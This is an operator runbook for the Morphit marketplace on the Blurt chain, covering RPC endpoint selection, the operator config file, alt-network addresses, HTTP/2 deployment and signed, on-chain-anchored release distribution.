The indexer reads MORPHIT_INDEXER_RPC_ENDPOINTS from morphit.env at startup. Three ways to change it, from easiest to most low-level:

morphit-ops edit (recommended for an existing instance). The wizard's edit flow now includes "Blurt RPC endpoints" in its menu of editable sections. It validates the list (https-only, dedup, well-formed URLs), backs up the previous version of morphit.env to a timestamped .bak- file, and writes atomically. Available only when morphit.env exists at the repo root — operators who deploy via Docker/SystemD Environment= directives instead won't see this option.

(Don't remember the subcommand? Run bare npx morphit-ops on a terminal — cp186 — and pick Edit settings → Blurt RPC endpoints from the menu. The menu lists every action with a one-line description; non-interactive/piped runs still print help as before.)

The morphit-ops init wizard (fresh setup) also prompts for the RPC list as its 19th step (cp137 F-2 — pre-cp137 this prompt was missing and operators silently got hardcoded defaults). Press Enter to accept the bundled defaults, or paste a comma-separated list of your preferred endpoints.

Save-as-you-go / resume. The wizard records your NON-SECRET answers as you go to ~/.morphit-init-progress.json (written mode 0600). If a run is interrupted, re-running morphit-ops init detects that file and offers to resume from it — reusing your saved answers and re-asking only the two things deliberately NEVER written there: the database connection string (it embeds the DB password) and the relay's active key. Those re-prompts exist because a private key / DB password sitting in a predictable home-dir file after an interrupted run would be a dangling secret; the progress type structurally omits both and saveProgress hard- strips them as defense-in-depth (regression-guarded by init-progress-smoke). The file is deleted automatically once setup completes successfully, or when you choose "start fresh".
Edit morphit.env by hand. Find the MORPHIT_INDEXER_RPC_ENDPOINTS= line and replace the comma-separated value. Same atomic-replace discipline applies if you care about durability — write to morphit.env.tmp, then mv morphit.env.tmp morphit.env so a crash mid-edit doesn't leave a half-written file.
Override via the OS environment. SystemD units can use Environment="MORPHIT_INDEXER_RPC_ENDPOINTS=...", Docker compose can use the environment: block. OS env wins over morphit.env (see operator-config package's loading order), so this is the right path for deployment automation.

After ANY change: the indexer must restart to pick up the new values. morphit-ops edit and alt-address now OFFER to do this for you (press Enter at the prompt); for a hand-edit of the env file, restart it yourself:

sudo systemctl restart morphit-indexer

Watch journald for the starting log line confirming the new endpoint count, then for the first successful block poll. If the indexer fails to start, the log will tell you which endpoint refused — fix that one and restart.

How to evaluate candidate nodes

Morphit's built-in rotator handles runtime health-based selection. What it DOESN'T do is help you pick which endpoints to seed the list with in the first place. For that, a community-run tool is the fastest path:

@nalexadre's Blurt Nodes Checker — a library that periodically probes every known Blurt RPC endpoint and scores them on availability, response time, block-lag, and Nexus compatibility. The checker drives the live node list BeBlurt uses in its frontend.

Article (2026-04): Blurt Nodes Checker 2.2.0: from smart scoring to adaptive monitoring
Source: https://gitlab.com/beblurt/blurt-nodes-checker (GPLv3+)
Published as @beblurt/blurt-nodes-checker on npm

Morphit does not ship this library as a dependency — our frontend bundle is deliberately lean, and our rotator handles runtime failover without needing an RxJS-based monitor inline. But as an operator picking which endpoints to put in your config, the checker's live scoring output is a better signal than guessing.

You can run the checker yourself (it's a small Node package) or just read its most recent report on the Blurt Discord / in nalexadre's blog posts, which publish periodic roundups.

Updating your endpoint list

Frontend default list: edit apps/web/src/lib/net/config.ts → DEFAULT_RPC_ENDPOINTS and rebuild. This is the list new users get on first visit; existing users who customized their list in Settings keep their own list.

Relay: update MORPHIT_RELAY_BLURT_RPC in the relay's systemd/docker-compose env file and restart the relay. Every entry must be https://.

Indexer: update per ADR-0010 deployment notes and restart. The indexer is the most-sensitive component — pick endpoints that are known to stay caught up with the chain head.

Common pitfalls

Don't list only one endpoint. A single RPC is a single point of failure. Three endpoints is a reasonable minimum, five is robust.
Don't list only Cloudflare-fronted endpoints. Part of Morphit's resilience promise is routing around single-vendor outages. Mix origins.
Don't list endpoints whose operators you distrust. An RPC node can return falsified responses (e.g. lie about an account's balance) in ways the caller can't always detect. Witnesses are a reasonable trust heuristic — they have skin in the game via their witness position.
Don't hardcode endpoint lists in downstream forks without updating them. The default list was accurate at ship time; a fork shipping stale defaults degrades the user experience of that fork's users.

23. The morphit.config.env file — operator-tunable knobs in one place

Morphit reads ~80 environment variables across the indexer and relay. Most of them encode deployment specifics (database URL, RPC endpoints, account names, log destinations) that deployment automation manages — those stay in your SystemD unit, Docker compose, or .env.production. But a small set of variables are operationally interesting after the service is up: the BLURT/USD price fallback when the live feed is down, the registration kill-switch you'd flip during a spam wave, alert thresholds you'd tune as the instance grows.

For those, there's morphit.config.env: a single file at the repo root with the small set of operator-tunable variables, with prose comments explaining each.

Where the file lives

morphit.config.env at the repo root. A template is shipped as morphit.config.env.example — copy it, uncomment the lines you want to set, restart.

If your deployment runs from somewhere other than the repo root, set MORPHIT_OPERATOR_CONFIG_FILE to the absolute path of the file. The indexer and relay both honor this env var.

Precedence

Anything in the OS environment wins over this file. So:

export MORPHIT_INDEXER_PRICE_FEED_STATIC_FLOOR=0.003 in your SystemD Environment= directive → wins
MORPHIT_INDEXER_PRICE_FEED_STATIC_FLOOR=0.003 in morphit.config.env → loses to the SystemD setting, applied if SystemD doesn't set it

This means existing deployments that rely entirely on env-var config keep working unchanged. The file is purely additive.

What's in the file

The allowlist accepts 29 keys — the complete set is listed (commented, ready to uncomment) in morphit.config.env.example and enforced by @morphit/operator-config. The handful you'd actually reach for after launch are detailed below with their purpose; the remainder (per-instance branding, SEO overrides, alt-network addresses, the operator tag) are the values morphit-ops init writes for you and are rarely hand-edited. Anything NOT on the allowlist causes a clear "you can't set that here" hard error at boot — so an operator who pastes the wrong file (e.g., a deployment .env with DATABASE_URL in it) gets a clean rejection rather than silent corruption.

Pricing — survives a Coingecko outage. MORPHIT_INDEXER_PRICE_FEED_STATIC_FLOOR (default 0.001, renamed from the old MORPHIT_INDEXER_BLURT_PRICE_USD — if you still have the old name set, switch it) is the absolute price floor used when the live feed is unreachable. Live feeds always win when reachable; this only kicks in during an outage. Update it during prolonged outages so the indexer's emergency fallback matches reality. See §13 for the full price-feed runbook.

Registration kill-switch. MORPHIT_RELAY_SIGNUP_ENABLED (default true). Flip to false to immediately stop new account onboarding while existing users continue normally. Use during active spam-account waves, maintenance, or suspected drain attacks (§7, §18).

Listing fee. MORPHIT_INDEXER_FEE_BASE_BLURT (default 125) is the BLURT base fee per order listing. It targets the canonical ~12.5¢ USD-equivalent (LISTING_FEE_USD.blurt in @morphit/asset-registry); at BLURT ≈ $0.002 that's about 60–62 BLURT. As of cp372 this base is chain-pinned and auto-tracked (see §40.3a): the canonical floor comes from the most recent morphit_release_v1 treasury.blurt.base, resolved chain-pin → env exactly like the BTC/XMR amounts, so this env var is now your Plan-B fallback / local override — used only on a fresh node that hasn't seen a treasury-bearing release op yet, or if you deliberately want a different local floor. Rarely worth changing on a single instance — listings posted on your instance with non-standard fees look unusual to other operators indexing the chain. Federation uniformity is the value; deviation is a cost.

The fee model is BLURT-native (per ADR-0011 amendment, Part 90). Earlier versions of this doc referenced MORPHIT_INDEXER_FEE_BASE_USD, which was simplified out of the codebase along with the USD-oracle dependency at verification time. Operators who want to track USD parity should adjust _FEE_BASE_BLURT periodically as BLURT's price drifts.

Featured-slot bid floor. MORPHIT_INDEXER_FEATURE_FEE_BLURT_PER_HOUR (default 50). BLURT cost per hour of featured-slot time. Raise to make featured slots more exclusive; lower to encourage more bidding.

Verbose health. MORPHIT_INDEXER_VERBOSE_HEALTH (default false). Gates the fuller /v1/health?verbose=1 diagnostics — operator balances, explorer-pool circuit state, drift/disagreement — that aren't useful to public consumers and that NEW-9-8 keeps off by default. Toggle on while debugging an operational issue; revert when done. Note: per-source price-feed status in morphit-ops health does NOT need this — it's operator-only and automatic (see the verbose-mode note earlier in this section).

Operator-balance alert thresholds. MORPHIT_INDEXER_OPERATOR_BALANCE_RELAY_THRESHOLD_BLURT and ..._FEES_THRESHOLD_BLURT (defaults 0 = disabled). Set to non-zero values to receive LOW_BALANCE alerts when your service accounts drop below the threshold. See §16 for the alert pipeline.

What's NOT in the file (and why)

Deployment specifics — DATABASE_URL, RPC_ENDPOINTS, CHAIN_ID, OFFICIAL_POSTING_PUBKEY, FEE_RECIPIENT account names. A wrong value here corrupts state or takes the service down. We want deployment automation (which gets these right) to be the only path that sets them; a stray paste of morphit.config.env mustn't be able to overwrite them.

Spam-economic constants — STRANGER_FEE_BASE_USD, STRANGER_FEE_MAX_DOUBLINGS, STRANGER_FEE_WINDOW_MINUTES, chat layer-3 caps. These are deliberately uniform across the federation. If a single operator could lower them, their users get spammed and the whole federation's reputation suffers. Changing them requires upstream code changes and federation-wide consensus, not a local config edit.

Log destinations, listen ports, CORS allowlists. Operationally important but not "tunable in a hurry" — they're set once at deployment and don't change in response to live conditions. Keep them in your SystemD/ Docker config alongside the other deployment specifics.

Example workflow — the live BLURT/USD feed is down, BLURT price moved

You notice the live feed (Coingecko) has been down for hours and another exchange shows BLURT trading 30% higher than your last known price.

SSH to the indexer box.
cd /opt/morphit (or wherever your repo lives).
If morphit.config.env doesn't exist yet: cp morphit.config.env.example morphit.config.env.

Edit morphit.config.env:

MORPHIT_INDEXER_PRICE_FEED_STATIC_FLOOR=0.0026

sudo systemctl restart morphit-indexer.service.
The indexer logs will show: [operator-config] loaded /opt/morphit/morphit.config.env (1 applied, 0 skipped — env wins).
When Coingecko comes back up, the live feed takes over automatically. The fallback only matters during the outage.

You don't need to revert step 4 when Coingecko returns — the live feed wins whenever it's reachable. Leaving the fallback at the more accurate value just means future outages start from a better baseline.

Health endpoint shows abnormal signup velocity. You want to stop the bleeding while you investigate.

Edit morphit.config.env:
```
MORPHIT_RELAY_SIGNUP_ENABLED=false
```
sudo systemctl restart morphit-relay.service.
New signups now return a clear "registration temporarily disabled" message. Existing users keep working.
Investigate (§7, §18).
When safe, flip back to true and restart again.

Example workflow — operator with strict deployment automation

You don't want to edit any config files on production boxes; everything goes through Ansible/Terraform/whatever. That's fine — the file is genuinely optional. Your existing pipeline that sets MORPHIT_* env vars in the SystemD unit continues to work exactly as before. morphit.config.env is for operators who DO want a human-edited file; if that's not you, ignore it.

Verifying the file took effect

After restart, the indexer/relay logs include a line at boot indicating what the loader did:

[operator-config] loaded /opt/morphit/morphit.config.env (2 applied, 1 skipped — env wins)
[operator-config] skipped (already in env): MORPHIT_INDEXER_PRICE_FEED_STATIC_FLOOR

The skipped list is the key signal: if you edited a value but it didn't take effect, it's because the OS env already had it set. Either remove the env-var setting (in SystemD/Docker) or accept that the env wins.

If the file is missing entirely:

[operator-config] no morphit.config.env found — using OS environment only

This is fine — it's the expected output for env-var-only deployments.

Adding new keys to the allowlist

Every key in the file is checked against an allowlist in packages/operator-config/src/index.ts. Adding a new key requires editing that allowlist (and the morphit.config.env.example template, and this section of the runbook). The deliberate friction is the point — each new operator-tunable lever is a new responsibility to document and a new federation-uniformity question to think about. Keep the surface small.

# Service control (systemd)
sudo systemctl status morphit-relay.service
sudo systemctl restart morphit-relay.service
sudo journalctl -u morphit-relay.service -f

# Relay log grep (structured logger — module prefix in brackets)
sudo journalctl -u morphit-relay.service | grep '\[relay-drainer\]'
sudo journalctl -u morphit-indexer.service | grep '\[witness-fee\]'

# JSON log mode (set MORPHIT_LOG_FORMAT=json in the service unit
# if you want to pipe logs into loki/vector/etc)
# sudo journalctl -u morphit-indexer.service | jq 'select(.module=="witness-fee")'

# On-chain checks
# open blocks.blurtwallet.com in browser; search for @morphit-relay

# Queue peek
psql "$MORPHIT_INDEXER_DATABASE_URL" -c "
    SELECT kind, recipient, amount_blurt, reason, error_count, broadcast_at
      FROM relay_pending_transfers
     ORDER BY created_at DESC
     LIMIT 20;"

# Check the relay's liquid BLURT balance (signups need fee + margin)
curl -s http://localhost:PORT/v1/health?verbose=1 | jq .blurt_balance

# Live price source status
curl -s http://localhost:PORT/v1/health?verbose=1 | jq .diagnostics.price

# Finding I — check attestor eligibility for an account
curl -s "http://localhost:PORT/v1/attestor-eligibility/<account>" | jq

# Finding I — count accounts eligible to attest under 'steady' phase
# (for planning the launch → steady transition)
psql "$MORPHIT_INDEXER_DATABASE_URL" -c \
  "SELECT COUNT(*) AS eligible_for_steady
     FROM accounts a
     LEFT JOIN account_loyalty al ON al.account = a.name
    WHERE a.created_block_time <= NOW() - INTERVAL '30 days'
      AND COALESCE(al.cumulative_blurt_paid, 0) >= 100;"

# Finding H layer-2 — check if a chat pair is admitted
curl -s "http://localhost:PORT/v1/chat-admission/<me>/<peer>" | jq

# Finding H layer-2 — count stranger-fee payments collected
# (useful for tracking spam-prevention revenue + abuse patterns)
psql "$MORPHIT_INDEXER_DATABASE_URL" -c \
  "SELECT COUNT(*) AS fee_payments,
          SUM(amount_blurt)::text AS total_blurt,
          MIN(paid_at) AS first_payment,
          MAX(paid_at) AS most_recent
     FROM stranger_fees;"

# Fee-status filter regression guard (run in CI or pre-deploy)
cd /opt/morphit/apps/indexer && npx tsx scripts/fee-status-filter-lint.ts

Alt-network addresses (Tor / Lokinet / I2P / Nostr / ENS) — the `alt-address` wizard

Tor onion is automatic (cp378). Every instance gets a basic v3 .onion by default — privacy is the first priority. The setup wizard generates one in the background while you answer the other steps (a plain non-vanity address, instant — you never wait), writes MORPHIT_INSTANCE_TOR_ADDRESS so the footer pill + the Onion-Location auto-redirect light up automatically, and saves the Tor hidden-service key files to a tor-hidden-service/ directory (hs_ed25519_secret_key 0600, hs_ed25519_public_key, hostname). The wizard never asks about Tor and never overwrites an address you set yourself — if MORPHIT_INSTANCE_TOR_ADDRESS is already in your environment or an existing config, that value is kept. To actually serve the onion, the tor Ansible role (enable_tor, default-on in ops/ansible/group_vars/all.yml) installs Tor and points its HiddenServiceDir at those generated keys; set morphit_tor_key_src to the tor-hidden-service/ directory so Tor serves the same address the site advertises. A custom vanity .onion is still a manual step (generate with scripts/generate-onion.sh on your own hardware and paste it below) — neither the wizard nor this menu grinds vanity keys for you; pasting a vanity address simply replaces the basic one (and, being a manual value, is never overwritten).

I2P .b32.i2p is automatic too (cp406). Every instance also gets a basic .b32.i2p by default — same privacy-first posture as the onion. The one difference: an I2P destination can't be minted in Node the way a Tor onion can (it bundles an encryption key — ElGamal/X25519 — plus an Ed25519 signing key), so the wizard uses your host's i2pd to mint the keyfile. That means i2pd must be installed for auto-generation (the i2pd Ansible role installs it; on a box that's already reached the I2P network this takes a few seconds). When i2pd is present the wizard mints a destination, derives its address as base32(SHA-256(keyfile[0:391])) — the standard I2P hash-of-destination, verified against i2pd itself — writes MORPHIT_INSTANCE_I2P_B32_ADDRESS so the footer pill lights up, and saves the i2pd keyfile plus a ready-to-append tunnel stanza to an i2p-tunnel/ directory (morphit-web.dat 0600, tunnel.conf). The wizard never overwrites an address you already set (env var or existing config) or one you typed in the alt-network step — an operable existing b32 is preserved. If i2pd isn't installed, the wizard simply skips I2P (add it later from the menu). To actually serve it, the i2pd Ansible role (enable_i2pd, default-on in ops/ansible/group_vars/all.yml) installs i2pd, writes the [morphit-web] server tunnel (signaturetype = 7) to tunnels.conf, and installs your wizard keyfile — only when the server has none, so an operable keyfile on the box is never clobbered. Set morphit_i2pd_key_src to the i2p-tunnel/ directory so i2pd serves the same address the site advertises; otherwise i2pd self-generates a different one (the role prints the head -c 391 … | sha256sum | base32 command to read it, so you can update the env to match). A custom vanity .b32.i2p remains a manual step (scripts/generate-i2p.sh), replacing the basic one.

morphit-ops alt-address (also the "Set up a Tor / Lokinet / I2P address" main-menu item) is a guided CRUD tool for your privacy-network addresses. Pick an address type and it shows the current value, then offers Replace · Delete · Back (Delete removes the line from morphit.config.env and the pill from the footer). I2P now appears as two separate menu choices — the always-resolvable b32 (DOMAIN.b32.i2p, generated) and an optional vanity name (DOMAIN.i2p, which you register with an i2p naming service and paste — not generated). For Tor / Lokinet / I2P-b32, "Replace" walks you through generating the address; the I2P vanity name, Nostr (cp311), and ENS (DOMAIN.eth, cp334) are values you already own/register elsewhere, so they just prompt for the value. An instance may set neither, one, or both i2p addresses. The relevant knobs:

Variable	Footer field	Notes
`MORPHIT_INSTANCE_TOR_ADDRESS`	`tor`	v3 `.onion`
`MORPHIT_INSTANCE_LOKINET_ADDRESS`	`lokinet`	full `.loki` or an ONS name
`MORPHIT_INSTANCE_I2P_B32_ADDRESS`	`i2p_b32`	always-resolvable `.b32.i2p` (preferred; the wizard WRITES this key)
`MORPHIT_INSTANCE_I2P_NAME_ADDRESS`	`i2p_name`	optional readable `name.i2p` (addressbook-dependent)
`MORPHIT_INSTANCE_I2P_ADDRESS`	—	legacy single var; still honored, routed to `i2p_b32`/`i2p_name` by suffix. The wizard reads it (as a fallback) and clears it whenever you set/delete the i2p address, so a value can't linger under two keys.
`MORPHIT_INSTANCE_NOSTR_PUBKEY`	`nostr`	Nostr public key — `npub1…` (bech32) or 64-char hex. The wizard rejects a private key (`nsec…`). Also editable via `morphit-ops edit → Branding & SEO`'s alt-networks section. The footer renders this as a "Nostr" pill linking to your instance's Nostr page; it also appears as an alt-network chip on your directory card.
`MORPHIT_INSTANCE_ENS_NAME`	`ens`	optional ENS `.eth` name (`DOMAIN.eth`) — a registered Ethereum name you point at this instance (typically via an ENS contenthash → IPFS copy of the site). Paste-only (nothing to generate); the wizard validates the `.eth` shape. Also editable via `morphit-ops edit → Branding & SEO`'s alt-networks section. The footer renders it as an "ENS" pill linking to the bare name (`https://<name>.eth`); not resolved server-side. ENS-aware browsers (Brave, MetaMask, etc.) resolve `<name>.eth` directly — Morphit deliberately does NOT route through a centralized ENS gateway (e.g. eth.limo), so the pill is a no-op in a vanilla browser without ENS support.

The indexer reads these at startup and includes them in its instance announce; the frontend renders the footer pills from that announce at runtime. So a new/changed address appears after the indexer restarts — the alt-address / edit wizard offers to do that for you (press Enter at the prompt) — no frontend rebuild needed.

Your own directory card (cp311): the bold name + alt-network chips on your own row of /instances come from a cached probe snapshot. The indexer never network-probes its own public URL (hairpin-NAT), so it now reads its own branding (MORPHIT_INSTANCE_NAME/_TAGLINE/_CONTACT_URL + these alt-network vars) straight from config and refreshes the cache on each self-probe. Your card therefore updates within one good-status probe cycle (~10 min) after the indexer restarts — not instantly like the footer (which reads the announce live). Before cp311 the own-card name was stuck on your operator-account fallback regardless of MORPHIT_INSTANCE_NAME.

Vanity reality differs per network (the wizard is explicit about this):

Tor — full prefix vanity via mkp224o (scripts/generate-onion.sh <prefix>). Time grows exponentially with prefix length.
I2P — prefix vanity via i2pd-tools' vain (scripts/generate-i2p.sh <prefix>), but the .b32.i2p is base32(sha256(destination)), so only a short prefix is feasible (~1–5 chars quick, 6 ≈ minutes, 7+ hours). vain writes a private.dat that i2pd reads directly. A readable name.i2p is a registrar step (reg.i2p/stats.i2p), not local key-grinding.
Lokinet — no prefix vanity. A .loki is the SNApp's ed25519 pubkey and Lokinet generates that keyfile itself (set keyfile= in lokinet.ini [network], restart, read the address). There is no vanity-key import path and no lokinet-vanity tool. A readable name.loki is ONS: burn OXEN on-chain via the Oxen wallet (1–10 yr). scripts/generate-lokinet.sh prints the setup + ONS steps.

Key-security model (unchanged, matches generate-onion.sh's long-standing design): vanity keys are generated on operator hardware, never committed (hidden-services/ is git-ignored), and hand-carried to the box over SSH. Only the public address ever enters morphit.config.env → footer. For encrypting an alt-network service key at rest under the relay passphrase, see import-altnet-key / export-altnet-key.

24. HTTP/2 deployment requirement (Phase F.5 cross-page trade events)

Bottom line: terminate TLS with HTTP/2 (or HTTP/3) enabled. The cross-page trade-event listener won't work reliably under HTTP/1.1.

Why

Phase F.5 introduced a global SSE listener that opens one chat stream per recent peer. Under HTTP/1.1, browsers limit concurrent connections to 6 per origin. Each open SSE stream holds one of those slots for its lifetime. Beyond the limit, new streams queue indefinitely — the user's badge stays at "Payment pending" forever even after the buyer's funds-sent message reaches the indexer.

The Phase F.5 audit fix (F-21) caps the listener to 5 concurrent streams. This leaves 1 connection slot free under HTTP/1.1 for ad-hoc requests (profile fetches, stream reconnects, image loads). But if you're running HTTP/2, the practical limit is 100+ streams over a single TCP connection, and the cap is a soft optimization rather than a hard requirement.

How to verify

From a browser DevTools network tab on your deployment:

Load /orderbook or /my/orders while logged in
Inspect any SSE request (/v1/chat/.../stream)
Protocol column should show h2 or h3, not http/1.1

From the command line:

curl -I --http2 https://your-instance.example/orderbook | head -1
# Should print: HTTP/2 200

How to enable on nginx

server {
    listen 443 ssl http2;          # ← http2 keyword
    listen [::]:443 ssl http2;
    # ... rest of config
}

For HTTP/3 (optional, recommended if your nginx supports it):

server {
    listen 443 quic reuseport;
    listen 443 ssl;
    http2 on;
    http3 on;
    add_header Alt-Svc 'h3=":443"; ma=86400';
    # ...
}

How to enable on Caddy

Caddy enables HTTP/2 by default for HTTPS sites. Nothing to configure. Verify with curl -I --http2.

Symptoms of HTTP/1.1 deployment

/my/orders badges stuck at "Payment pending" indefinitely even though the chat page shows the funds-sent message
Browser DevTools shows multiple SSE requests in pending state for several minutes
Network panel shows >6 simultaneous requests blocking each other

If the user complains "I never see paid trades update on /my/orders," check HTTP/2 first.

Why not raise the cap to 20?

HTTP/2 multiplexing makes the cap mostly cosmetic — under HTTP/2 you could safely run 20 streams. But the listener also has a CPU and memory cost (one EventSource per peer

decryption work on every message). 5 is a comfortable default that covers active conversations and keeps the listener's cost bounded. Operators who want to raise it can patch MAX_LISTENER_STREAMS in apps/web/src/lib/trades/tradeEventListener.ts.

25. Going live — staging procedure + chain-switch

For pre-launch staging and the procedure to wipe-and-switch to mainnet for real, see SWITCHING-NETWORKS.md.

It walks through staging-on-mainnet (the recommended pre-launch testing pattern) followed by a destructive wipe-the-DB-and-switch-to-production procedure for the launch transition. Roughly 30 minutes for the staging setup + 15 minutes for the launch switch.

Headline guidance:

Staging-on-mainnet is the recommended pre-launch pattern. Run a second Morphit instance with a separate Blurt account, separate Postgres database, separate config directory. Same chain as production, isolated identity. This catches Postgres permissions, systemd setup, Caddy config, federation discovery, and the wizard end-to-end — everything a sysadmin shakedown actually needs.
The chain_id pin is a feature, not a bug. The indexer refuses to boot if its config's MORPHIT_INDEXER_CHAIN_ID differs from the value recorded in the indexer_state table. This prevents accidental cross-chain corruption. To switch chains you MUST drop and recreate the database — there's no in-place switch.
Staging-and-production-on-mainnet is the same chain. No chain-id change is needed when "switching" from staging to production in the recommended pattern; you just drop the staging DB, create a fresh production DB, and re-run the wizard with production credentials. The wizard ships mainnet chain_id by default for both.
A community-maintained Blurt testnet exists at https://testnet-rpc.beblurt.com but Morphit can't talk to it without code changes (mainnet asset symbol and address prefix are hardcoded in ~7 places). Tracked in REVISIT-LIST §D as a deferred capability; not a pre-launch blocker. See SWITCHING-NETWORKS.md appendix for context.

The full procedure including separate Postgres roles, separate systemd units, archived configs for rollback safety, and post-launch smoke testing is in SWITCHING-NETWORKS.md.

26. Release signing (SHA-256 + GPG)

The canonical release is built by CI, not by hand. When you push a signed tag, .forgejo/workflows/release.yml builds the tarball, hashes it (SHA-256), signs it if a signing secret is set, publishes the Forgejo release, attaches the assets, and writes the on-chain distribution-anchor.env — the bytes people download come from that job, and the ELI5 release ceremony fetches the anchor it wrote. You normally never run release-sign.sh. It builds the tarball a different way (git archive), so its SHA-256 does not match the CI-published file; keep it only as an offline / air-gapped fallback, and never anchor its hash on-chain for a CI release. The rest of this section documents that fallback tool.

When you publish a Morphit release tarball, sign it. Users verifying their downloads against tampering need an authoritative source-of-truth, and your signing key fingerprint is that source-of-truth.

How it works

The script scripts/release-sign.sh produces:

morphit-v$VERSION.tar.gz — the source release
*.sha256 and *.sha512 files — independent hash records
*.asc — detached ASCII-armored GPG signature on the tarball
CHECKSUMS — one-file manifest combining the SHAs
CHECKSUMS.asc — detached signature on the CHECKSUMS file

A user can verify with:

sha256sum -c morphit-v1.2.3.tar.gz.sha256
gpg --verify CHECKSUMS.asc CHECKSUMS

Operator workflow

Tag the release in git. Use semver: git tag v1.2.3.
Run the signing script.
```
./scripts/release-sign.sh
```
The script reads the version from package.json (or accepts ./scripts/release-sign.sh v1.2.3 as override).

Verify the artifact yourself before publishing.

cd release
sha256sum -c morphit-v1.2.3.tar.gz.sha256
gpg --verify morphit-v1.2.3.tar.gz.asc \
             morphit-v1.2.3.tar.gz

Upload to forgejo's releases page. Drop all six files (tarball + .sha256 + .sha512 + .asc + CHECKSUMS + CHECKSUMS.asc) into the Forgejo release UI.
Broadcast a morphit_release_v1 op on the Blurt chain. This puts the SHA-256 on-chain so the frontend can verify served bundles against it. See apps/indexer/src/indexer/handlers/release.ts for the op shape.

Setting up the GPG key

If you don't have a project signing key yet:

gpg --quick-generate-key "Morphit Releases <releases@your-instance>" rsa4096 sign 2y
gpg --list-secret-keys --keyid-format=long

Note the long key ID (16-char hex). Set it as the default for the release script:

export MORPHIT_GPG_KEY=<your-key-id>
./scripts/release-sign.sh

Then publish the public key somewhere durable — your forgejo profile, a keyserver (gpg --send-keys <id> to keyserver.ubuntu.com), and the Morphit /security page. Users compare against THIS fingerprint to know they're verifying the right key.

Why both SHA-256 and GPG?

SHA-256 alone tells the user the file matches a published hash. GPG additionally tells them WHO published the hash (provided they trust the key).

If your GPG key is compromised, an attacker can only sign new bad releases — past releases verified against archived hashes (e.g. on the Blurt chain via morphit_release_v1) remain valid. Publishing the SHA-256 on-chain at release time creates a tamper-evident timestamp.

What gets signed at the chain layer too

The frontend bundle (apps/web/build/) has its own per-file SHA-256 manifest at verify.json, generated post-build by scripts/build-verify-json.mjs. The whole manifest is then referenced by a morphit_release_v1 chain op signed by the project's private posting key (WIF). See apps/indexer/src/indexer/handlers/release.ts for the chain-side handler.

This means there are TWO independent verification paths:

Source release: GPG signature on the tarball/CHECKSUMS
Frontend bundle: chain-published manifest hash

Both should match. If they don't, something's off — escalate.

Decentralized distribution (the source, on many hosts + anchored on-chain)

The source is public on Forgejo, but a single git host is a single point of failure and censorship. Decentralized distribution keeps the same signed code on independent hosts and anchors a verifiable pointer to it on the Blurt chain, so anyone can obtain the code from whatever host is reachable and PROVE it is the unmodified release.

Three moving parts:

Sign — scripts/release-sign.sh <version> (above). It also writes release/distribution-anchor.env with the tarball's source_sha256, your key's gpg_fingerprint, and the mirrors list.
Mirror — this is AUTOMATIC. Forgejo push-mirrors every commit and the signed tag to GitHub + Codeberg, so the code is already on three independent hosts with nothing to do by hand. Those two hosts are the default anchor mirrors (override with MORPHIT_RELEASE_MIRRORS). Optionally, ipfs add the signed tarball and set MORPHIT_BUILD_IPFS_CID before the payload build to add a content-addressed copy — off by default, since availability then needs a pinned, reachable node or a pinning service.
Anchor — broadcast morphit_release_v1 with a distribution block carrying source_sha256, gpg_fingerprint, the mirrors list, and optionally ipfs_cid. The block is public + verification-only — no secret is ever placed in it (same invariant as the treasury block). Shape: packages/release-schema/src/release.ts (ReleaseDistributionBlock).

The ELI5 ceremony (scripts/eli5-release.sh <version>) now prints these as Blocks 4–6, filled in and in order, so the anchor values flow from the sign step into the payload build without hand-copying.

Anyone can then verify what they got — not against any Morphit server, so a compromised host can't fake a match. Two paths, depending on how they obtained the code:

git verify-tag v1.2.3                                  # a clone, from any mirror
node scripts/verify-download.mjs morphit-v1.2.3.tar.gz   # the release tarball

See docs/VERIFY-YOUR-DOWNLOAD.md for the full user-facing guide. Both trace back to the one key fingerprint you published — which is now also anchored on-chain, so a hostile mirror can't swap in its own key.

IPFS pin + a stable "always latest" IPNS name (optional, CI-automated)

The release workflow computes a content-addressed IPFS CID for each release directory and repoints a stable IPNS name at it, so ipns://<name> always resolves to the newest release. Both are additive to the git mirrors + the on-chain SHA-256, and neither can ever fail a release (the steps are non-fatal). The IPFS CID needs no secret or account; the IPNS pointer is published only when you've set the MORPHIT_IPNS_KEY secret.

IPFS CID (self-hosted — no pinning service) — release.yml installs the pinned Kubo (v0.42.0, checksum-verified) and computes the DETERMINISTIC CID of a small release directory — the signed tarball (versioned + a stable morphit-latest.tar.gz), its .sha256/.asc, the release notes, and a deterministic metadata.json — with ipfs add --only-hash (offline; no upload, no account, no secret). That DIRECTORY CID is anchored on-chain as ipfs_cid. The bytes are HOSTED by our own nodes: your release box seeds it once per release (morphit-ops harden → "Seed this release to IPFS", or ops/ipfs/morphit-ipfs-seed.sh <tag>), and every Morphit instance's Kubo pins it from the network. Because the CID is deterministic, the seed box's ipfs add reproduces exactly the CID CI anchored (the seed asserts equality). Before broadcasting, scripts/verify-cid-public.sh <cid> <version> confirms the CID resolves on a public gateway — a release never anchors a CID the world can't fetch.
IPNS "always latest" (DHT-native — no DNS, no third party) — run npm i --no-save w3name ipns @libp2p/peer-id && node scripts/ipns-keygen.mjs once on your release laptop. It prints a PUBLIC k51… name and a SECRET base64 key. Store the key as the MORPHIT_IPNS_KEY Actions secret (never commit it — same trust model as the @morphit WIF) and paste the k51… name into apps/web/src/lib/ipns.ts (MORPHIT_IPNS_NAME). From then on every tagged release signs a fresh IPNS record locally (scripts/ipns-sign.mjs; the key is used only to sign and stays a CI secret), points the name at the new CID, and anchors the signed record on-chain as distribution.ipns_record (alongside ipns_name). Every Morphit instance then rebroadcasts that record to the public DHT on a ~4h timer — installed by the same morphit-ops harden → "Set up IPFS release hosting" step, so there is NO extra operator action, and the instance NEVER holds the key (it only relays what @morphit signed). So ipns://<name> resolves over the public DHT for as long as one instance is alive — no DNS, no gateway, no third party — and no instance can repoint it. Records live ~1 year and are re-signed every release, so the name never goes stale. (There is no DNSLink: the native ipns:// name IS the pointer. On the download page this is the "IPNS (always latest)" card — which needs an IPFS-capable browser like Brave — beside an "IPFS (always latest)" gateway card that works in any browser. w3name is gone: it stored records off the DHT, so public gateways never resolved them; it is now used only to parse the existing key.)

The ipfs_cid is the immutable per-release verification anchor; ipns_name + ipns_record are the mutable discovery pointer (the signed ipns_record is what every instance rebroadcasts to the DHT). A copy fetched via any of them is still only trusted once it passes the source_sha256 + GPG checks.

27. Fees and rewards reference

The complete fee schedule, reward triggers, and operator economics are in FEES-AND-REWARDS.md.

That document is the single source of truth with line- number references back to the source code that defines each figure. If you're answering "how much does X cost" or "what does the welcome bonus actually pay out", quote that doc, not chat history or older copies of this runbook.

